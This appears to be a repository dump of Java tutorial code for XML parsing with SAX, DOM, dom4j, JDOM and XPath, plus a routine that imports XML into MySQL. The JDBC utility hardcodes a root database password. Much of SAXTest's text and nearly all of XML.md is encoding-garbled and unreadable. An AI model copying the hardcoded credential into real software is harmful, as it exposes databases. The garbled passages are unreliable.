    "content": "\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\n\npublic final class JDBCUtilSingle {\n\t// 该url为缺省方式（省略主机跟端口）\n\t// 完整为：jdbc:mysql//localhost:3306/test\n\tstatic String url = \"jdbc:mysql:///xmlanddb\";\n\tstatic String name = \"root\";\n\tstatic String password = \"mysqladmin\";\n\tstatic Connection conn = null;\n\tprivate static JDBCUtilSingle jdbcUtilSingle = null;\n\n\tpublic static JDBCUtilSingle getInitJDBCUtil() {\n\t\tif (jdbcUtilSingle == null) {\n\t\t\t// 给类加锁 防止线程并发\n\t\t\tsynchronized (JDBCUtilSingle.class) {\n\t\t\t\tif (jdbcUtilSingle == null) {\n\t\t\t\t\tjdbcUtilSingle = new JDBCUtilSingle();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn jdbcUtilSingle;\n\t}\n\n\tprivate JDBCUtilSingle() {\n\t}\n\n\t// 通过静态代码块注册数据库驱动，保证注册只执行一次\n\tstatic {\n\t\ttry {\n\t\t\t// 注册驱动有如下方式：\n\t\t\t// 1.通过驱动管理器注册驱动，但会注册两次，并且会对类产生依赖。如果该类不存在那就报错了。\n\t\t\t// DriverManager.registerDriver(new com.mysql.jdbc.Driver());\n\t\t\t// 2.与3类似\n\t\t\t// System.setProperty(\"jdbc.drivers\",\"com.mysql.jdbc.Driver\");\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");// 推荐使用方式\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t// 获得连接\n\tpublic Connection getConnection() {\n\t\ttry {\n\t\t\tconn = DriverManager.getConnection(url,name,password);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn conn;\n\n\t}\n\n\t// 关闭连接\n\tpublic void closeConnection(ResultSet rs, Statement statement, Connection con) {\n\t\ttry {\n\t\t\tif (rs != null) {\n\t\t\t\trs.close();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (statement != null) {\n\t\t\t\t\tstatement.close();\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t} finally {\n\t\t\t\ttry {\n\t\t\t\t\tif (con != null) {\n\t\t\t\t\t\tcon.close();\n\t\t\t\t\t}\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/SAXTest.java",
    "content": "\n\nimport java.io.IOException;\nimport java.util.ArrayList;\n\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.parsers.SAXParser;\nimport javax.xml.parsers.SAXParserFactory;\n\nimport org.xml.sax.Attributes;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.helpers.DefaultHandler;\n\npublic class SAXTest {\n    /**\n     * @param args\n     */\n    public static void main(String[] args) {\n        //��ȡһ��SAXParserFactory��ʵ��\n        SAXParserFactory factory = SAXParserFactory.newInstance();\n        //ͨ��factory��ȡSAXParserʵ��\n        try {\n            SAXParser parser = factory.newSAXParser();\n            //����SAXParserHandler����\n            SAXParserHandler handler = new SAXParserHandler();\n            parser.parse(\"books.xml\", handler);\n            System.out.println(\"~��~��~������\" + handler.getBookList().size()\n                    + \"����\");\n            for (Book book : handler.getBookList()) {\n                System.out.println(book.getId());\n                System.out.println(book.getName());\n                System.out.println(book.getAuthor());\n                System.out.println(book.getYear());\n                System.out.println(book.getPrice());\n                System.out.println(book.getLanguage());\n                System.out.println(\"----finish----\");\n            }\n        } catch (ParserConfigurationException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        } catch (SAXException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        } catch (IOException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n    }\n}\n\nclass SAXParserHandler extends DefaultHandler {\n    String value = null;\n    Book book = null;\n    private ArrayList<Book> bookList = new ArrayList<Book>();\n    public ArrayList<Book> getBookList() {\n        return bookList;\n    }\n\n    int bookIndex = 0;\n    /**\n     * ������ʶ������ʼ\n     */\n    @Override\n    public void startDocument() throws SAXException {\n        // TODO Auto-generated method stub\n        super.startDocument();\n        System.out.println(\"SAX������ʼ\");\n    }\n    \n    /**\n     * ������ʶ��������\n     */\n    @Override\n    public void endDocument() throws SAXException {\n        // TODO Auto-generated method stub\n        super.endDocument();\n        System.out.println(\"SAX��������\");\n    }\n    \n    /**\n     * ����xmlԪ��\n     */\n    @Override\n    public void startElement(String uri, String localName, String qName,\n            Attributes attributes) throws SAXException {\n        //����DefaultHandler���startElement����\n        super.startElement(uri, localName, qName, attributes);\n        if (qName.equals(\"book\")) {\n            bookIndex++;\n            //����һ��book����\n            book = new Book();\n            //��ʼ����bookԪ�ص�����\n            System.out.println(\"======================��ʼ����ĳһ���������=================\");\n            //��֪��bookԪ�������Ե������Լ���������λ�ȡ�������Լ�����ֵ\n            int num = attributes.getLength();\n            for(int i = 0; i < num; i++){\n                System.out.print(\"bookԪ�صĵ�\" + (i + 1) +  \"���������ǣ�\"\n                        + attributes.getQName(i));\n                System.out.println(\"---����ֵ�ǣ�\" + attributes.getValue(i));\n                if (attributes.getQName(i).equals(\"id\")) {\n                    book.setId(attributes.getValue(i));\n                }\n            }\n        }\n        else if (!qName.equals(\"name\") && !qName.equals(\"bookstore\")) {\n            System.out.print(\"�ڵ����ǣ�\" + qName + \"---\");\n        }\n    }\n    \n    @Override\n    public void endElement(String uri, String localName, String qName)\n            throws SAXException {\n        //����DefaultHandler���endElement����\n        super.endElement(uri, localName, qName);\n        //�ж��Ƿ����һ�����Ѿ���������\n        if (qName.equals(\"book\")) {\n            bookList.add(book);\n            book = null;\n            System.out.println(\"======================��������ĳһ���������=================\");\n        }\n        else if (qName.equals(\"name\")) {\n            book.setName(value);\n        }\n        else if (qName.equals(\"author\")) {\n            book.setAuthor(value);\n        }\n        else if (qName.equals(\"year\")) {\n            book.setYear(value);\n        }\n        else if (qName.equals(\"price\")) {\n            book.setPrice(value);\n        }\n        else if (qName.equals(\"language\")) {\n            book.setLanguage(value);\n        }\n    }\n    \n    @Override\n    public void characters(char[] ch, int start, int length)\n            throws SAXException {\n        // TODO Auto-generated method stub\n        super.characters(ch, start, length);\n        value = new String(ch, start, length);\n        if (!value.trim().equals(\"\")) {\n            System.out.println(\"�ڵ�ֵ�ǣ�\" + value);\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/TestDom.java",
    "content": "import java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.transform.Transformer;\nimport javax.xml.transform.TransformerConfigurationException;\nimport javax.xml.transform.TransformerException;\nimport javax.xml.transform.TransformerFactory;\nimport javax.xml.transform.dom.DOMSource;\nimport javax.xml.transform.stream.StreamResult;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.w3c.dom.Text;\nimport org.xml.sax.SAXException;\n\n/**\n * dom读写xml 输出属性值\n * @author whwang\n */\npublic class TestDom {\n    \n   \n    \n    public static void read() {\n        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n        try {\n            DocumentBuilder builder = dbf.newDocumentBuilder();\n            InputStream in = TestDom.class.getClassLoader().getResourceAsStream(\"university.xml\"); //读取src目录下文件\n            Document doc = builder.parse(in);\n           \n            Element root = doc.getDocumentElement(); // 获取根元素\n            if (root == null) return;\n            System.err.println(root.getAttribute(\"name\")); //获取根元素的name属性值\n            \n            NodeList collegeNodes = root.getChildNodes();// 根元素下的所有子元素\n            if (collegeNodes == null) return;\n            \n            /**\n             * 循环所有的根元素下的所有只节点\n             * 根元素下所有的college 节点\n             */\n            for(int i = 0; i < collegeNodes.getLength(); i++) {\n                Node college = collegeNodes.item(i);\n                if (college != null && college.getNodeType() == Node.ELEMENT_NODE) {\n                    System.err.println(\"\\t\" + college.getAttributes().getNamedItem(\"name\").getNodeValue()); //获取节点 name属性值\n                    // 所有的class节点\n                    NodeList classNodes = college.getChildNodes();\n                    if (classNodes == null) continue;\n                    for (int j = 0; j < classNodes.getLength(); j++) {\n                        Node clazz = classNodes.item(j);\n                        if (clazz != null && clazz.getNodeType() == Node.ELEMENT_NODE) {\n                            System.err.println(\"\\t\\t\" + clazz.getAttributes().getNamedItem(\"name\").getNodeValue());\n                            // 所有的student节点\n                            NodeList studentNodes = clazz.getChildNodes();\n                            if (studentNodes == null) continue;\n                            for (int k = 0; k < studentNodes.getLength(); k++) {\n                                Node student = studentNodes.item(k);\n                                if (student != null && student.getNodeType() == Node.ELEMENT_NODE) {\n                                    System.err.print(\"\\t\\t\\t\" + student.getAttributes().getNamedItem(\"name\").getNodeValue());\n                                    System.err.print(\" \" + student.getAttributes().getNamedItem(\"sex\").getNodeValue());\n                                    System.err.println(\" \" + student.getAttributes().getNamedItem(\"age\").getNodeValue());\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        } catch (ParserConfigurationException e) {\n            e.printStackTrace();\n        } catch (FileNotFoundException e) {\n            e.printStackTrace();\n        } catch (SAXException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        \n    }\n    \n    \n    \n    \n    /**\n     * 读取本地XML文件 修改后另存为\n     */\n    public static void write() {\n        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n        try {\n            DocumentBuilder builder = dbf.newDocumentBuilder();\n            InputStream in = TestDom.class.getClassLoader().getResourceAsStream(\"university.xml\");\n            Document doc = builder.parse(in);\n            // 根节点\n            Element root = doc.getDocumentElement();\n            if (root == null) return;\n            // 修改属性\n            root.setAttribute(\"name\", \"tsu\"); //给根元素添加 name属性和属性值\n            NodeList collegeNodes = root.getChildNodes();\n            if (collegeNodes != null) {\n                for (int i = 0; i <collegeNodes.getLength() - 1; i++) {\n                    // 删除节点\n                    Node college = collegeNodes.item(i);\n                    if (college.getNodeType() == Node.ELEMENT_NODE) {\n                        String collegeName = college.getAttributes().getNamedItem(\"name\").getNodeValue();\n                        if (\"c1\".equals(collegeName) || \"c2\".equals(collegeName)) {\n                            root.removeChild(college);\n                        } else if (\"c3\".equals(collegeName)) {\n                            Element newChild = doc.createElement(\"class\");\n                            newChild.setAttribute(\"name\", \"c4\");\n                            college.appendChild(newChild);\n                        }\n                    }\n                }\n            }\n            // 新增节点\n            Element addCollege = doc.createElement(\"college\");\n            addCollege.setAttribute(\"name\", \"c5\");\n            root.appendChild(addCollege);\n            Text text = doc.createTextNode(\"text\");\n            addCollege.appendChild(text);\n            \n            // 将修改后的文档保存到文件\n            TransformerFactory transFactory = TransformerFactory.newInstance();\n            Transformer transFormer = transFactory.newTransformer();\n            DOMSource domSource = new DOMSource(doc);\n            File file = new File(\"src/dom-modify.xml\");\n            if (file.exists()) {\n                file.delete();\n            }\n            file.createNewFile();\n            FileOutputStream out = new FileOutputStream(file);         \n            StreamResult xmlResult = new StreamResult(out);\n            transFormer.transform(domSource, xmlResult);\n            System.out.println(file.getAbsolutePath());  //获取文件的据对路径\n        } catch (ParserConfigurationException e) {\n            e.printStackTrace();\n        } catch (SAXException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        } catch (TransformerConfigurationException e) {\n            e.printStackTrace();\n        } catch (TransformerException e) {\n            e.printStackTrace();\n        }\n    }\n    \n    \n    public static void main(String[] args) {\n        read();\n        //write();\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/TestDom4j.java",
    "content": "\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.List;\n\nimport org.dom4j.Attribute;\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.Element;\nimport org.dom4j.ProcessingInstruction;\nimport org.dom4j.VisitorSupport;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.XMLWriter;\n\n/**\n * Dom4j读写xml\n * @author whwang\n */\npublic class TestDom4j {\n    public static void main(String[] args) {\n        read1();\n       // read2();\n       write();\n    }\n\n    public static void read1() {\n        try {\n            SAXReader reader = new SAXReader();\n            InputStream in = TestDom4j.class.getClassLoader().getResourceAsStream(\"university.xml\");\n            Document doc = reader.read(in);\n            Element root = doc.getRootElement();\n            readNode(root, \"\");\n        } catch (DocumentException e) {\n            e.printStackTrace();\n        }\n    }\n    \n    @SuppressWarnings(\"unchecked\")\n    public static void readNode(Element root, String prefix) {\n        if (root == null) return;\n        // 获取节点的属性\n        List<Attribute> attrs = root.attributes();\n        if (attrs != null && attrs.size() > 0) {\n            System.err.print(prefix);\n            for (Attribute attr : attrs) {\n                System.err.print(attr.getValue() + \" \");\n            }\n            System.err.println();\n        }\n        // 获取他的子节点\n        List<Element> childNodes = root.elements();\n        prefix += \"\\t\";\n        for (Element e : childNodes) {\n            readNode(e, prefix);\n        }\n    }\n    \n    public static void read2() {\n        try {\n            SAXReader reader = new SAXReader();\n            InputStream in = TestDom4j.class.getClassLoader().getResourceAsStream(\"university.xml\");\n            Document doc = reader.read(in);\n            doc.accept(new MyVistor());\n        } catch (DocumentException e) {\n            e.printStackTrace();\n        }\n    }\n    \n    \n    \n    /**\n     * 写入方法\n     */\n    public static void write() {\n        try {\n            // 创建一个xml文档\n            Document doc = DocumentHelper.createDocument();\n            Element university = doc.addElement(\"university\");\n            university.addAttribute(\"name\", \"tsu\");\n            // 注释\n            university.addComment(\"这个是根节点\");\n            Element college = university.addElement(\"college\");\n            college.addAttribute(\"name\", \"cccccc\");\n            college.setText(\"text\");\n            \n            File file = new File(\"src/dom4j-modify.xml\");\n            if (file.exists()) {\n                file.delete();\n            }\n            file.createNewFile();\n            XMLWriter out = new XMLWriter(new FileWriter(file));\n            out.write(doc);\n            out.flush();\n            out.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n}\n\nclass MyVistor extends VisitorSupport {\n    public void visit(Attribute node) {\n        System.out.println(\"Attibute: \" + node.getName() + \"=\"\n                + node.getValue());\n    }\n\n    public void visit(Element node) {\n        if (node.isTextOnly()) {\n            System.out.println(\"Element: \" + node.getName() + \"=\"\n                    + node.getText());\n        } else {\n            System.out.println(node.getName());\n        }\n    }\n\n    @Override\n    public void visit(ProcessingInstruction node) {\n        System.out.println(\"PI:\" + node.getTarget() + \" \" + node.getText());\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/TestJDom.java",
    "content": "import java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.List;\n\nimport org.jdom2.Attribute;\nimport org.jdom2.Document;\nimport org.jdom2.Element;\nimport org.jdom2.JDOMException;\nimport org.jdom2.input.SAXBuilder;\nimport org.jdom2.output.XMLOutputter;\n\n/**\n * JDom读写xml\n * @author Wujun\n */\npublic class TestJDom {\n    public static void main(String[] args) {\n       read();\n        write();\n    }\n    \n    public static void read() {\n        try {\n            boolean validate = false;\n            SAXBuilder builder = new SAXBuilder(validate);\n            InputStream in = TestJDom.class.getClassLoader().getResourceAsStream(\"university.xml\");\n            Document doc = builder.build(in);\n            // 获取根节点 <university>\n            Element root = doc.getRootElement();\n            readNode(root, \"\");\n        } catch (JDOMException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    \n    @SuppressWarnings(\"unchecked\")\n    public static void readNode(Element root, String prefix) {\n        if (root == null) return;\n        // 获取属性\n        List<Attribute> attrs = root.getAttributes();\n        if (attrs != null && attrs.size() > 0) {\n            System.err.print(prefix);\n            for (Attribute attr : attrs) {\n                System.err.print(attr.getValue() + \" \");\n            }\n            System.err.println();\n        }\n        // 获取他的子节点\n        List<Element> childNodes = root.getChildren();\n        prefix += \"\\t\";\n        for (Element e : childNodes) {\n            readNode(e, prefix);\n        }\n    }\n    \n    public static void write() {\n        boolean validate = false;\n        try {\n            SAXBuilder builder = new SAXBuilder(validate);\n            InputStream in = TestJDom.class.getClassLoader().getResourceAsStream(\"university.xml\");\n            Document doc = builder.build(in);\n            // 获取根节点 <university>\n            Element root = doc.getRootElement();\n            // 修改属性\n            root.setAttribute(\"name\", \"tsu\");\n            // 删除\n            boolean isRemoved = root.removeChildren(\"college\");\n            System.err.println(isRemoved);\n            // 新增\n            Element newCollege = new Element(\"college\");\n            newCollege.setAttribute(\"name\", \"new_college\");\n            Element newClass = new Element(\"class\");\n            newClass.setAttribute(\"name\", \"ccccc\");\n            newCollege.addContent(newClass);\n            root.addContent(newCollege);\n            XMLOutputter out = new XMLOutputter();\n            File file = new File(\"src/jdom-modify.xml\");\n            if (file.exists()) {\n                file.delete();\n            }\n            file.createNewFile();\n            FileOutputStream fos = new FileOutputStream(file);\n            out.output(doc, fos);\n        } catch (JDOMException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    \n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/TestSAX.java",
    "content": "\n\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.parsers.SAXParser;\nimport javax.xml.parsers.SAXParserFactory;\n\nimport org.xml.sax.Attributes;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.Locator;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.SAXParseException;\nimport org.xml.sax.helpers.DefaultHandler;\n\n/**\n *\n * @author Wujun\n */\npublic class TestSAX {\n\n    public static void main(String[] args) {\n        read();\n        write();\n    }\n    \n    public static void read() {\n        try {\n            SAXParserFactory factory = SAXParserFactory.newInstance();\n            SAXParser parser = factory.newSAXParser();\n            InputStream in = TestSAX.class.getClassLoader().getResourceAsStream(\"university.xml\");\n            parser.parse(in, new MyHandler());\n        } catch (ParserConfigurationException e) {\n            e.printStackTrace();\n        } catch (SAXException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    \n    public static void write() {\n        System.err.println(\"纯SAX对于写操作无能为力\");\n    }\n    \n}\n\n// 重写对自己感兴趣的事件处理方法\nclass MyHandler extends DefaultHandler {\n\n    @Override\n    public InputSource resolveEntity(String publicId, String systemId)\n            throws IOException, SAXException {\n        return super.resolveEntity(publicId, systemId);\n    }\n\n    @Override\n    public void notationDecl(String name, String publicId, String systemId)\n            throws SAXException {\n        super.notationDecl(name, publicId, systemId);\n    }\n\n    @Override\n    public void unparsedEntityDecl(String name, String publicId,\n            String systemId, String notationName) throws SAXException {\n        super.unparsedEntityDecl(name, publicId, systemId, notationName);\n    }\n\n    @Override\n    public void setDocumentLocator(Locator locator) {\n        super.setDocumentLocator(locator);\n    }\n\n    @Override\n    public void startDocument() throws SAXException {\n        System.err.println(\"开始解析文档\");\n    }\n\n    @Override\n    public void endDocument() throws SAXException {\n        System.err.println(\"解析结束\");\n    }\n\n    @Override\n    public void startPrefixMapping(String prefix, String uri)\n            throws SAXException {\n        super.startPrefixMapping(prefix, uri);\n    }\n\n    @Override\n    public void endPrefixMapping(String prefix) throws SAXException {\n        super.endPrefixMapping(prefix);\n    }\n\n    @Override\n    public void startElement(String uri, String localName, String qName,\n            Attributes attributes) throws SAXException {\n        System.err.print(\"Element: \" + qName + \", attr: \");\n        print(attributes);\n    }\n\n    @Override\n    public void endElement(String uri, String localName, String qName)\n            throws SAXException {\n        super.endElement(uri, localName, qName);\n    }\n\n    @Override\n    public void characters(char[] ch, int start, int length)\n            throws SAXException {\n        super.characters(ch, start, length);\n    }\n\n    @Override\n    public void ignorableWhitespace(char[] ch, int start, int length)\n            throws SAXException {\n        super.ignorableWhitespace(ch, start, length);\n    }\n\n    @Override\n    public void processingInstruction(String target, String data)\n            throws SAXException {\n        super.processingInstruction(target, data);\n    }\n\n    @Override\n    public void skippedEntity(String name) throws SAXException {\n        super.skippedEntity(name);\n    }\n\n    @Override\n    public void warning(SAXParseException e) throws SAXException {\n        super.warning(e);\n    }\n\n    @Override\n    public void error(SAXParseException e) throws SAXException {\n        super.error(e);\n    }\n\n    @Override\n    public void fatalError(SAXParseException e) throws SAXException {\n        super.fatalError(e);\n    }\n    \n    private void print(Attributes attrs) {\n        if (attrs == null) return;\n        System.err.print(\"[\");\n        for (int i = 0; i < attrs.getLength(); i++) {\n            System.err.print(attrs.getQName(i) + \" = \" + attrs.getValue(i));\n            if (i != attrs.getLength() - 1) {\n                System.err.print(\", \");\n            }\n        }\n        System.err.println(\"]\");\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/TestXPath.java",
    "content": "import java.io.IOException;\nimport java.io.InputStream;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.xpath.XPath;\nimport javax.xml.xpath.XPathConstants;\nimport javax.xml.xpath.XPathExpression;\nimport javax.xml.xpath.XPathExpressionException;\nimport javax.xml.xpath.XPathFactory;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.NodeList;\nimport org.xml.sax.SAXException;\n\n\n\n/**\n * \n * 普通DOM与XPath\n * @author Wujun\n *\n */\npublic class TestXPath {\n\n    public static void main(String[] args) {\n        read();\n    }\n    \n    public static void read() {\n        try {\n            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n            DocumentBuilder builder = dbf.newDocumentBuilder();\n            InputStream in = TestXPath.class.getClassLoader().getResourceAsStream(\"university.xml\");\n            Document doc = builder.parse(in);\n            XPathFactory factory = XPathFactory.newInstance();\n            XPath xpath = factory.newXPath();\n            // 选取所有class元素的name属性\n            // XPath语法介绍： http://w3school.com.cn/xpath/\n            XPathExpression expr = xpath.compile(\"//class/@name\");\n            NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);\n            for (int i = 0; i < nodes.getLength(); i++) {\n                System.out.println(\"name = \" + nodes.item(i).getNodeValue());\n                    }\n        } catch (XPathExpressionException e) {\n            e.printStackTrace();\n        } catch (ParserConfigurationException e) {\n            e.printStackTrace();\n        } catch (SAXException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    \n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/XML.md",
    "content": "javaxmlļַʽ\n\n1.\n\n1DOMJAXP Crimson\n\nDOMƽ̨޹صķʽʾXMLĵĹٷW3C׼DOMԲνṹ֯ĽڵϢƬϵļϡνṹԱѰضϢýṹͨҪĵ͹νṹȻκιǻϢεģDOMΪǻڶġDOMԼĻĴмŵ㡣ȣڴǳ־õģ˿޸ԱӦóܶݺͽṹġκʱµSAXһԵĴDOMʹҲҪ򵥵öࡣ\n\n2SAX\n\nSAXŵǳýŵ㡣ܹʼǵȴеݱңӦóֻڶȡʱݣ˲Ҫݴ洢ڴСڴĵ˵Ǹ޴ŵ㡣ʵϣӦóؽĵĳõʱֹͣһ˵SAXDOMࡣ\n\nѡDOMѡSAX ҪԼдXMLĵĿԱ˵ ѡDOMSAXģһǳҪƾߡ DOMýνṹķʽXMLĵSAXõ¼ģ͡\n\nDOMXMLĵתΪһݵԶбDOMģ͵ŵǱףԱֻҪýָȻnavigation APIsڵ񡣿Ժ׵Ӻ޸еԪءȻʹDOMʱҪXMLĵԶܺڴҪȽϸߣܴXMLļʱıDOMXMLĵҪƵĸıķС\n\nSAX˻¼ģͣڽXMLĵʱԴһϵе¼ָtagʱԼһص߸÷ƶıǩѾҵSAXڴҪͨȽϵͣΪÿԱԼҪtag.رǵԱֻҪĵĲʱSAXչõ˸õ֡SAXʱ빤ȽѣҺͬʱͬһĵеĶദͬݡ\n\n3JDOM http://www.jdom.org\n\nJDOMĿǳΪJavaضĵģͣXMLĽұʹDOMʵָ졣ǵһJavaضģͣJDOMһֱõƹʹٽڿͨJava淶JSR-102Java׼չ2000ѾʼJDOM\n\nJDOMDOMҪ治ͬȣJDOMʹþʹýӿڡĳЩAPIҲԡڶAPIʹCollections࣬ЩѾϤЩJavaߵʹá\n\nJDOMĵĿǡʹ20%٣ľ80%ࣩJava/XML⡱ѧϰ߼ٶΪ20%JDOMڴJava/XMLӦó˵ȻõģҴ߷APIDOMöࡣJDOMԳΪ൱㷺ԷֹûκXML¡ȻҪXMLԱһЩĹĳЩµĴ󣩡ҲǱѧϰDOMJDOMӿڶĹ\n\nJDOMͨʹSAX2֤XMLĵԽǰDOMʾΪ룩һЩתԽJDOMʾSAX2¼DOMģͻXMLıĵJDOMApache֤·ĿԴ롣\n\n4DOM4J http://dom4j.sourceforge.net\n\nȻDOM4JȫĿJDOMһܷ֧ϲ೬XMLĵʾĹܣɵXPath֧֡XML Schema֧ԼڴĵĵĻ¼Ĵṩ˹ĵʾѡͨDOM4J APIͱ׼DOMӿھвзʹܡ2000°꿪ʼһֱڿ֮С\n\nΪ֧ЩܣDOM4Jʹýӿںͳ෽DOM4JʹAPIеCollections࣬£ṩһЩõֱܻӵı뷽ֱӺôǣȻDOM4J˸ӵAPIĴۣṩ˱JDOMöԡ\n\nԡXPathɺͶԴĵĿʱDOM4JĿJDOMһģJavaߵԺֱ۲ڳΪJDOMĽʵڱϴJava/XMLĿꡣɸĿʱJDOMǿֹȷӦóΪ\n\nDOM4JһǳǳJava XML API졢ǿͼʹõص㣬ͬʱҲһԴԿԽԽJavaʹDOM4JдXMLرֵһSunJAXMҲDOM4J.\n\n2Ƚ\n\n1DOM4JãSunJAXMҲDOM4J.Ŀǰ࿪ԴĿдDOM4JHibernateҲDOM4JȡXMLļǿֲԣǾͲDOM4J.\n\n2JDOMDOMܲʱֲѣڲ10MĵʱڴСĵ»ֵÿʹDOMJDOM.ȻJDOMĿѾ˵ʽаǰרע⣬Ǵܹ۵ȷʵûֵƼ֮⣬DOMһǳõѡDOMʵֹ㷺ӦڶֱԡXMLصı׼ĻΪʽW3CƼڷǱ׼JavaģԣĳЩ͵ĿпҲҪJavaScriptʹDOM\n\n3SAXֽϺãҪضĽʽ¼һSAX⼴XMLû뵽ڴ棨ȻXMLʱвĵʱڴУ"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/XMLToDatabase.java",
    "content": "import java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.dom4j.Document;\nimport org.dom4j.Element;\n\n\npublic class XMLToDatabase {\n\n\t\n\t\n\t\n\t\t\n\t\t\n\t\n\tpublic static void toDatabase(){\n\t\t\n\t\tConnection connection=null;\n\t\tPreparedStatement statement=null;\n\t\tResultSet rs=null;\n\t\tconnection=JDBCUtilSingle.getInitJDBCUtil().getConnection();\n\t\tString sql=\"INSERT INTO `xmlanddb`.`dict` (`id`, `word`, `meaning`, `lx`) VALUES (NULL, ?, ?, ?);\";\n\t\ttry {\n\t\t\tstatement=connection.prepareStatement(sql);\n\t\t} catch (SQLException e1) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te1.printStackTrace();\n\t\t}\n\t\t\n\t\t\n\t\tDocument document=Dom4j.load(\"dict.xml\");\n\t\tElement root=Dom4j.getRootElement(document);\n\t\tList words = root.elements(\"word\"); //word节点列表      \n\t\tString wordStr=\"\",meaningStr=\"\",lxStr=\"\";\n\t\tfor (Iterator i = words.iterator(); i.hasNext();) {  \n\t\t\t\n\t\t\t\t    Element word= (Element) i.next(); //单个word节点\n\t\t\t\t    \n\t\t\t\t    for(Iterator k=word.elementIterator();k.hasNext();){  //遍历 name mean lx节点     \n\t\t                Element element = (Element) k.next();     \n\t\t                if(element.getName().equals(\"name\")){\n\t\t                \twordStr=element.getText();\n\t\t                \t\n\t\t                }\n\t\t                if(element.getName().equals(\"mean\")){\n\t\t                \tmeaningStr=element.getText();\n\t\t                }\n\t\t                if(element.getName().equals(\"lx\")){\n\t\t                \tlxStr=element.getText();\n\t\t                }      \n\t\t            } \n\t\t\t\t \n\t\t\t\t\ttry {\n\t\t\t\t\t\n\t\t\t\t\t\tstatement.setString(1,wordStr);\n\t\t\t\t\t\tstatement.setString(2,meaningStr);\n\t\t\t\t\t\tstatement.setString(3,lxStr);\n\t\t\t\t\t\tstatement.executeUpdate();\n\t\t\t\t\t    \n\t\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\n\t\t   \n\t\t}      \n\t\tJDBCUtilSingle.getInitJDBCUtil().closeConnection(rs, statement, connection);\n\t}\n\t\n\t\n\tpublic static void main(String[] args){\n\t\ttoDatabase();\n\t}\n\t\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/XMLToDatabaseWithDom.java",
